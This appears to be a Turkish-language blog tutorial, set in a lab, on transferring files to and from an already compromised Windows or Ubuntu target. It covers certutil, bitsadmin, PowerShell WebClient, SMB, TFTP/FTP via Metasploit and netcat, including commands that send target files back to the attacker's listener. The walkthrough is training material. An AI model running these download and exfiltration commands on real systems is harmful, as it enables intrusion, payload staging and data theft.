25 Temmuz 2024 Perşembe
Dosya Transferi Hızlı Başvuru Kılavuzu
İçindekiler
Lab Kurulumu Burada dosya transferini, hedef makineyi zaten ele geçirdiğimizi ve başlangıçta shell erişimine sahip olduğumuzu varsayarak gerçekleştireceğiz.
Saldırgan Makinesi: Kali Linux (192.168.31.141) Hedef Makine 1: Windows 10 (192.168.31.219) Hedef Makine 2: Ubuntu
Saldırganın makinesi içinde, Python'un SimpleHTTPServer'ının bir yedeği olan updog sunucusunu kuracağız. Bu, hafif ve hızlı bir HTTP sunucusuna ihtiyaç duyulan senaryolar için kullanışlıdır. Sunucuyu kurmak için aşağıdaki komutu çalıştıracağız:
pip3 install updog
Kurulum tamamlandıktan sonra sunucuyu 80 numaralı portta çalıştırabiliriz:
updog -p 80
wget kullanarak dosya transferi Dosya transferi için wget komutunu kullanabiliriz. wget, webden dosya indirmek için güçlü bir komuttur. Windows'ta wget kullanarak dosya transferi yaparken, dosyayı kaydetmek için -o (-OutFile) bayrağını belirtmemiz gerektiği unutulmamalıdır. Bu bayrağı belirtmezsek, sadece bir nesne olarak döndürecektir (yani, WebResponseObject). Windows'ta wget komutu:
powershell wget http://192.168.31.141/ignite.txt -o ignite.txt dir type ignite.txt
curl kullanarak dosya transferi Curl, çeşitli ağ protokollerini kullanarak dosya transferi yapabilen güçlü bir komut satırı aracıdır. Dosya transferi komutu:
curl http://192.168.31.141/ignite.txt -o ignite.txt
certutil kullanarak dosya transferi certutil, Windows işletim sistemiyle birlikte gelen, sertifikaları ve kriptografik öğeleri yönetmek için tasarlanmış bir komut satırı aracıdır. Dosya transferi için kullanılabilecek komut:
certutil -urlcache -f http://192.168.31.141/ignite.txt ignite.txt
Büyük dosyaları daha küçük segmentlere bölmek için -split seçeneği kullanılır:
certutil -urlcache -split -f http://192.168.31.141/ignite.txt ignite.txt
bitsadmin kullanarak dosya transferi Bitsadmin, Windows'ta Arka Plan Akıllı Transfer Hizmeti (BITS) görevlerini yönetmek için bir komut satırı aracıdır. Farklı dosya transfer işlemlerini kolaylaştırır. Dosya transferi komutu:
bitsadmin /transfer job http://192.168.31.141/ignite.txt C:\Users\Public\ignite.txt
PowerShell kullanarak dosya transferi Dosya transferi, PowerShell kullanılarak doğrudan şu komutla yapılabilir:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.31.141/ignite.txt', 'ignite.txt')
SMB sunucusu kullanarak dosya transferi SMB, ağ içinde dosyalara, portlara vb. paylaşımlı erişim sağlamak için kullanılan bir protokoldür. Bunu etkinleştirmek için Kali Linux'ta impacket-smbserver script'ini kullanacağız. Paylaşılan dizin adı olarak "share" veriyoruz. Komut:
impacket-smbserver share $(pwd) -smb2support
Windows makinesinde dosyaları share klasöründen kopyalamak için şu komut çalıştırılır:
copy \\192.168.31.141\share\ignite.txt
Benzer şekilde, dosyayı Windows'tan Kali Linux'a kopyalamak için:
copy ignite.txt \\192.168.31.141\share\ignite.txt
Başka bir Linux makinesinden dosya transferi yapmak için smbclient aracını kullanarak bağlanabilir ve put/get komutlarıyla dosyaları yükleyip indirebiliriz:
smbclient -L 192.168.31.141 smbclient “\\\\192.168.31.141\share” ls get ignite.txt put data.txt
SCP kullanarak dosya transferi SCP (Güvenli Kopyalama Protokolü), yerel bir sistem ile uzak bir sunucu arasında veya iki uzak sunucu arasında dosya transferi için güvenli bir yöntemdir. SSH (Güvenli Kabuk) protokolü üzerinden çalışır. Windows'tan Kali'ye dosya kopyalamak için komut:
scp ignite.txt [email protected]:/tmp
Kali Linux'tan Windows makinesine dosya transferi için:
scp ignite.txt [email protected]:/C:/Temp
TFTP kullanarak dosya transferi TFTP (Basit Dosya Transfer Protokolü), ağ üzerinden dosya transferi için basit ve minimalistik bir protokoldür. UDP üzerinde çalışır ve hafiftir, ancak TCP'nin sunduğu güvenilirlik ve hata kontrolünü sağlamaz. Komutlar:
use auxiliary/server/tftp set srvhost 192.168.31.141 set tftproot /root/raj run
Windows makinesinde dosyayı indirmek için:
tftp -i 192.168.31.219 GET ignite.txt dir
FTP kullanarak dosya transferi FTP (Dosya Transfer Protokolü), ağ üzerinden dosya transferi için uzun süredir kullanılan bir protokoldür. Metasploit framework'ü kullanarak FTP servisini etkinleştirmek için komutlar:
use auxiliary/server/ftp set srvhost 192.168.31.141 set ftproot /root/raj set ftpuser raj set ftppass 123 run
FTP sunucusunda dosya indirmek için:
ftp 192.168.31.141 dir get ignite.txt bye dir
Python FTP sunucusunu kullanarak sunucu kurmak için:
pip3 install pyftpdlib python3 -m pyftpdlib -w -p 21 -u ignite -P 123
Anonim giriş için:
python -m pyftpdlib -w -p 21
Anonim giriş ile dosya listeleme:
ftp 192.168.31.141 ls
Sunucu Kurulumu için Farklı Yöntemler PHP kullanarak sunucu kurmak için:
php -S 0.0.0.0:8081
Python2 kullanarak sunucu kurmak için:
python2 -m SimpleHTTPServer 80
Python3 kullanarak sunucu kurmak için:
python3 -m http.server 8000
Netcat kullanarak dosya transferi Netcat (nc), TCP veya UDP üzerinden ağ bağlantılarına okuma ve yazma işlemleri yapabilen çok işlevli bir ağ aracıdır. Dosya transferi için basit bir istemci-sunucu yapılandırması kurabilir. Kali'de dosya almak için:
nc -lvp 5555 > file.txt
Ubuntu'dan dosya göndermek için:
nc 192.168.31.141 5555 < file.txt
Windows'tan dosya almak için:
nc.exe 192.168.31.141 5555 < data.txt
Kali'de dosyayı almak için:
nc -lvp 5555 > data.txt cat data.txt
Sonuç Çeşitli dosya transfer yöntemlerini inceledik. Hangi aracın kullanılacağı, kişinin tercihlerine ve durumlarına bağlıdır.